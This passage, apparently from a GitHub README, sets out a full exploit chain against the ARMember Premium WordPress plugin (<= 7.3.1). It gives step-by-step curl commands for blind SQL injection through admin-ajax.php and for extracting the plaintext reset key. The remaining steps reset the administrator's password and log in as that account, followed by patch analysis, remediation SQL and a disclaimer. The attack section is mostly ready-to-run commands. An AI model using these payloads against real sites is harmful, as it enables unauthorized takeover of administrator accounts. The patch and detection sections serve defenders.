     โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
                    โ”‚
                    โ–ผ
     โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
     โ”‚  PHASE 6: PASSWORD RESET                                                        โ”‚
     โ”‚  "Gunakan plaintext key untuk reset password admin"                             โ”‚
     โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
     โ”‚                                                                                 โ”‚
     โ”‚  6a. ARMember Reset Endpoint (armrp)                                            โ”‚
     โ”‚      โ”œโ”€ GET /?armrp=true&key=<PLAINTEXT_KEY>&login=<ADMIN_LOGIN>                โ”‚
     โ”‚      โ”œโ”€ ARMember memverifikasi key PLAINTEXT vs database PLAINTEXT              โ”‚
     โ”‚      โ”‚   โ””โ”€ String comparison โ€” BUKAN hash comparison!                          โ”‚
     โ”‚      โ”œโ”€ Jika match โ†’ tampilkan form reset password                              โ”‚
     โ”‚      โ””โ”€ Endpoint ini adalah GET request (bukan AJAX) โ€” bisa diakses langsung    โ”‚
     โ”‚                                                                                 โ”‚
     โ”‚  6b. WordPress Standard Reset (wp-login.php)                                    โ”‚
     โ”‚      โ”œโ”€ GET /wp-login.php?action=rp&key=<KEY>&login=<ADMIN_LOGIN>               โ”‚
     โ”‚      โ”œโ”€ WordPress memverifikasi key HASHED โ€” plaintext key TIDAK berfungsi      โ”‚
     โ”‚      โ””โ”€ Hanya berguna jika key dari user_activation_key (hashed)                โ”‚
     โ”‚                                                                                 โ”‚
     โ”‚  6c. Submit Password Baru                                                        โ”‚
     โ”‚      โ”œโ”€ POST ke form reset dengan password baru                                 โ”‚
     โ”‚      โ””โ”€ Password baru ter-set โ†’ akun berhasil di-takeover                      โ”‚
     โ”‚                                                                                 โ”‚
     โ”‚  OUTPUT: new_password, reset_confirmed                                           โ”‚
     โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
                    โ”‚
                    โ–ผ
     โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
     โ”‚  PHASE 7: VALIDATION                                                            โ”‚
     โ”‚  "Verifikasi akses admin penuh"                                                  โ”‚
     โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
     โ”‚                                                                                 โ”‚
     โ”‚  7a. Login WordPress Standard                                                    โ”‚
     โ”‚      โ”œโ”€ POST /wp-login.php                                                       โ”‚
     โ”‚      โ”‚   log=<ADMIN_LOGIN>                                                        โ”‚
     โ”‚      โ”‚   pwd=<NEW_PASSWORD>                                                       โ”‚
     โ”‚      โ””โ”€ Redirect ke /wp-admin/ โ†’ dashboard accessible                            โ”‚
     โ”‚                                                                                 โ”‚
     โ”‚  7b. Login ARMember AJAX                                                         โ”‚
     โ”‚      โ”œโ”€ POST /wp-admin/admin-ajax.php                                            โ”‚
     โ”‚      โ”‚   action=arm_ajax_login                                                    โ”‚
     โ”‚      โ”‚   arm_wp_nonce=<NONCE>                                                     โ”‚
     โ”‚      โ”‚   username=<ADMIN_LOGIN>                                                   โ”‚
     โ”‚      โ”‚   password=<NEW_PASSWORD>                                                  โ”‚
     โ”‚      โ””โ”€ Response berisi user data + redirect URL                                  โ”‚
     โ”‚                                                                                 โ”‚
     โ”‚  7c. Verifikasi Dashboard Access                                                 โ”‚
     โ”‚      โ””โ”€ GET /wp-admin/ โ†’ 200 OK + admin menu visible                             โ”‚
     โ”‚                                                                                 โ”‚
     โ”‚  โ•”โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•—                   โ”‚
     โ”‚  โ•‘  โœ“ FULL CHAIN EXPLOITED                                   โ•‘                   โ”‚
     โ”‚  โ•‘  Target: target.com                                       โ•‘                   โ”‚
     โ”‚  โ•‘  User: admin                                              โ•‘                   โ”‚
     โ”‚  โ•‘  Password: <new_password>                                 โ•‘                   โ”‚
     โ”‚  โ•‘  Access: Full Administrator                               โ•‘                   โ”‚
     โ”‚  โ•šโ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•                   โ”‚
     โ”‚                                                                                 โ”‚
     โ”‚  OUTPUT: login_confirmed, dashboard_accessible                                   โ”‚
     โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
    ```
    
    ---
    
    ## ๐Ÿ’ป Proof of Concept
    
    ### Prasyarat
    
    - Target menjalankan **ARMember Premium <= 7.3.1**
    - Target memiliki **directory page** yang terekspos secara publik (untuk nonce + template_id)
    - Versi **>= 5.x** untuk fitur `arm_reset_password_key` (v4.x tidak memiliki fitur ini)
    
    ### PoC Minimal โ€” Step by Step
    
    ```bash
    # โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•
    # PHASE 1: RECONNAISSANCE
    # โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•
    
    # Step 1a: Deteksi ARMember version
    curl -s https://target.com/ | grep -oP 'arm_css_version["\s:=]+\K[0-9.]+'
    
    # Step 1b: Temukan directory page
    curl -s "https://target.com/?s=members" | \
      grep -oP 'href="(https?://[^"]+(?:member|directory)[^"]*)"' | \
      head -5
    
    # Step 1c: Ekstrak nonce + template_id dari directory page
    curl -s https://target.com/directory/ | \
      grep -oP 'arm_wp_nonce.*?value="[^"]*"' | head -1
    curl -s https://target.com/directory/ | \
      grep -oP 'template_id.*?value="[^"]*"' | head -1
    
    
    # โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•
    # PHASE 2: SQL INJECTION CONFIRMATION
    # โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•
    
    # Step 2a: Konfirmasi SQLi dengan error-based oracle
    # TRUE condition โ†’ response besar (~10KB)
    curl -s -o /dev/null -w "%{size_download}" \
      -d "action=arm_directory_paging_action&arm_wp_nonce=NONCE&template_id=TID&type=directory&order=ASC,IF(1=1,1,EXP(710))" \
      https://target.com/wp-admin/admin-ajax.php
    
    # FALSE condition โ†’ response kecil (~90B, MySQL error)
    curl -s -o /dev/null -w "%{size_download}" \
      -d "action=arm_directory_paging_action&arm_wp_nonce=NONCE&template_id=TID&type=directory&order=ASC,IF(1=2,1,EXP(710))" \
      https://target.com/wp-admin/admin-ajax.php
    
    # Jika TRUE โ‰  FALSE โ†’ SQLi CONFIRMED
    
    
    # โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•
    # PHASE 3: DATABASE ENUMERATION
    # โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•
    
    # Step 3a: Deteksi table prefix via INFORMATION_SCHEMA
    # Test: apakah prefix wp_ ?
    curl -s -o /dev/null -w "%{size_download}" \
      -d "action=arm_directory_paging_action&arm_wp_nonce=NONCE&template_id=TID&type=directory&order=ASC,IF((SELECT COUNT(*) FROM wp_users)>0,1,EXP(710))" \
      https://target.com/wp-admin/admin-ajax.php
    # Jika response besar โ†’ prefix = wp_
    # Jika response kecil โ†’ coba prefix lain
    
    # Step 3b: Ekstrak admin user_login (binary search)
    # Contoh: karakter pertama > 'a' ?
    curl -s -o /dev/null -w "%{size_download}" \
      -d "action=...&order=ASC,IF(SUBSTRING((SELECT user_login FROM wp_users WHERE ID=1),1,1)>'a',1,EXP(710))" \
      https://target.com/wp-admin/admin-ajax.php
    # Repeat binary search per karakter...
    
    # Step 3c: Cek apakah arm_reset_password_key ada
    curl -s -o /dev/null -w "%{size_download}" \
      -d "action=...&order=ASC,IF((SELECT COUNT(*) FROM wp_usermeta WHERE meta_key='arm_reset_password_key')>0,1,EXP(710))" \
      https://target.com/wp-admin/admin-ajax.php
    
    
    # โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•
    # PHASE 4: TRIGGER PASSWORD RESET
    # โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•
    
    # Step 4a: Trigger ARMember forgot-password (SET arm_reset_password_key)
    curl -s -X POST \
      -d "action=arm_lost_password&arm_wp_nonce=NONCE&user_login=ADMIN_LOGIN" \
      https://target.com/wp-admin/admin-ajax.php
    
    # Step 4b: Fallback โ€” WordPress standard lostpassword
    curl -s -X POST \
      -d "user_login=ADMIN_LOGIN&redirect_to=&wp-submit=Get+New+Password" \
      https://target.com/wp-login.php?action=lostpassword
    
    
    # โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•
    # PHASE 5: EXTRACT PLAINTEXT KEY (CVE-2026-5076)
    # โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•
    
    # Step 5a: Baca arm_reset_password_key dari database via SQLi
    # Binary search karakter per karakter
    # Karakter 1 > 'M' ?
    curl -s -o /dev/null -w "%{size_download}" \
      -d "action=...&order=ASC,IF(SUBSTRING((SELECT meta_value FROM wp_usermeta WHERE meta_key='arm_reset_password_key' AND user_id=1),1,1)>'M',1,EXP(710))" \
      https://target.com/wp-admin/admin-ajax.php
    
    # ... repeat untuk 20 karakter ...
    # Hasil: PLAINTEXT KEY berhasil diekstrak
    
    
    # โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•
    # PHASE 6: RESET PASSWORD
    # โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•
    
    # Step 6a: Akses ARMember reset endpoint dengan plaintext key
    curl -v "https://target.com/?armrp=true&key=<EXTRACTED_KEY>&login=admin"
    
    # Jika key match โ†’ form reset password ditampilkan!
    # Step 6b: Submit password baru
    curl -s -X POST \
      -d "pass1=NewPassword123!&pass2=NewPassword123!&key=<EXTRACTED_KEY>&login=admin" \
      "https://target.com/?armrp=true"
    
    
    # โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•
    # PHASE 7: VALIDATE LOGIN
    # โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•
    
    # Step 7a: Login dengan password baru
    curl -v -X POST \
      -d "log=admin&pwd=NewPassword123!&wp-submit=Log+In" \
      https://target.com/wp-login.php
    
    # Step 7b: Verifikasi dashboard access
    curl -s -L -c cookies.txt \
      -d "log=admin&pwd=NewPassword123!&wp-submit=Log+In" \
      https://target.com/wp-login.php && \
    curl -s -b cookies.txt https://target.com/wp-admin/ | \
      grep "Dashboard"
    ```
    
    ---
    
    ## ๐Ÿ”ง Analisis Patch (v7.3.2)
    
    Perbaikan di versi 7.3.2 mengatasi ketiga CVE:
    
    ### Patch CVE-2026-5076 (Plaintext Key)
    
    ```php
    // VULNERABLE (<=7.3.1)
    update_user_meta($user_id, 'arm_reset_password_key', $wp_key);
    //                                   plaintext key ^^^^^^^
    
    // PATCHED (7.3.2)
    $hashed_key = wp_hash($wp_key);
    update_user_meta($user_id, 'arm_reset_password_key', $hashed_key);
    //                                   hashed key ^^^^^^^^^^^
    ```
    
    - Key sekarang disimpan dalam bentuk **hashed** menggunakan `wp_hash()`
    - Verifikasi key menggunakan `wp_check_password()` atau hash comparison
    - Key lama yang sudah plaintext harus dihapus manual
    
    ### Patch CVE-2026-5073 (ORDER BY SQLi)
    
    ```php
    // VULNERABLE (<=7.3.1)
    $orderby = "u.{$arm_member} {$order_dir}";
    //                       ^^^^^^^^^^ langsung dari user input
    
    // PATCHED (7.3.2)
    $allowed_orders = array('ASC', 'DESC', 'asc', 'desc');
    if (!in_array($order_dir, $allowed_orders, true)) {
        $order_dir = 'ASC';
    }
    $orderby = "u.{$arm_member} {$order_dir}";
    ```
    
    ### Patch CVE-2026-5074 (WHERE SQLi)
    
    ```php
    // VULNERABLE (<=7.3.1)
    $where .= " AND " . $filter;
    //                 ^^^^^^^ langsung concatenation
    
    // PATCHED (7.3.2)
    // Filter parameter removed from user input entirely
    // Filtering now handled server-side with prepared statements
    ```
    
    ---
    
    ## ๐Ÿ›ก๏ธ Remediasi
    
    ### Langkah Segera
    
    1. **Update ARMember Premium** ke versi **7.3.2** atau lebih baru
    2. **Hapus semua `arm_reset_password_key`** yang ada di database:
       ```sql
       DELETE FROM wp_usermeta WHERE meta_key = 'arm_reset_password_key';
       ```
    3. **Reset semua password admin** โ€” plaintext key lama mungkin sudah dikompromikan
    4. **Audit akun user** โ€” cek akun administrator yang tidak dikenal
    5. **Batasi akses directory page** โ€” pastikan hanya user terautentikasi yang bisa mengakses
    
    ### Deteksi Indikator Kompromi
    
    ```sql
    -- Cek apakah ada arm_reset_password_key (indikasi exploit)
    SELECT user_id, meta_value FROM wp_usermeta 
    WHERE meta_key = 'arm_reset_password_key' 
    AND meta_value != '';
    
    -- Cek login mencurigakan
    SELECT * FROM wp_users 
    WHERE user_activation_key != '' 
    AND user_modified > DATE_SUB(NOW(), INTERVAL 7 DAY);
    ```
    
    ### Mitigasi Tanpa Update
    
    - **Hapus meta key** `arm_reset_password_key` secara berkala via cron
    - **Nonaktifkan** ARMember forgot-password form (gunakan WP standard saja)
    - **Batasi** akses ke directory page (require login)
    - **Implementasikan WAF** yang memblokir SQLi pattern pada `arm_directory_paging_action`
    
    ---
    
    ## ๐Ÿงฉ Attack Scenarios
    
    ### Scenario A: Classic Full Chain (All CVEs Combined)
    
    ```
    Attacker discovers directory page โ†’ extracts nonce+tid โ†’ 
    SQLi to read arm_reset_password_key (plaintext) โ†’ 
    uses armrp endpoint to reset admin password โ†’ 
    logs in as admin
    ```
    **Requires**: ARMember v5.x+ with forgot-password triggered by real user
    
    ### Scenario B: SQLi + WP Lostpassword Hybrid
    
    ```
    Attacker discovers directory page โ†’ extracts nonce+tid โ†’
    SQLi to extract admin_login + admin_email โ†’
    triggers WP lostpassword โ†’ email sent โ†’
    SQLi to read user_activation_key (hashed) โ†’
    CRACK the hash offline โ†’ reset password via wp-login.php
    ```
    **Requires**: Site with working mail server, hash cracking capability
    
    ### Scenario C: Database Backup Exposure
    
    ```
    Attacker finds exposed database backup (.sql, .zip, .tar.gz) โ†’
    grep for arm_reset_password_key โ†’ 
    obtain plaintext keys โ†’ 
    use armrp endpoint to reset passwords
    ```
    **Requires**: Exposed backup, no SQLi needed
    
    ### Scenario D: Compromised Admin + Lateral Movement
    
    ```
    Attacker gains admin via CVE-2022-1903 or other vector โ†’
    reads arm_reset_password_key for ALL users โ†’
    resets passwords for other admin accounts โ†’
    persists access even if original vulnerability is patched
    ```
    **Requires**: Initial admin access via any vector
    
    ---
    
    ## โš ๏ธ Disclaimer
    
    Tool dan dokumentasi ini hanya untuk **pengujian keamanan yang sah** dengan izin eksplisit. Penggunaan tanpa otorisasi terhadap sistem yang bukan milik Anda atau tanpa izin tertulis adalah **ilegal**. Penulis tidak bertanggung jawab atas penyalahgunaan.
    
    ---
    
    ## ๐Ÿ“š Referensi
    
    - [Wordfence Advisory โ€” CVE-2026-5076](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/armember-membership/armember-premium-731-insecure-password-reset-mechanism)
    - [Wordfence Advisory โ€” CVE-2026-5073](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/armember-membership/armember-premium-731-unauthenticated-sql-injection)
    - [Wordfence Advisory โ€” CVE-2026-5074](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/armember-membership/armember-premium-731-unauthenticated-sql-injection-2)
    - [ARMember Plugin Repository](https://wordpress.org/plugins/armember-membership/)
    - [WordPress Password Reset Mechanism](https://developer.wordpress.org/reference/functions/get_password_reset_key/)
    - [CWE-640: Weak Password Recovery Mechanism](https://cwe.mitre.org/data/definitions/640.html)
    
    ---
    
    <div align="center">
    
    ![](https://img.shields.io/badge/Made%20with-%E2%9D%A4-red?style=flat-square)
    ![](https://img.shields.io/badge/For-Educational%20Purpose-blue?style=flat-square)
    
    Copyright ยฉ 2026 **XENON1337**
    
    Special Thanks: **ENDANG** 
    
    </div>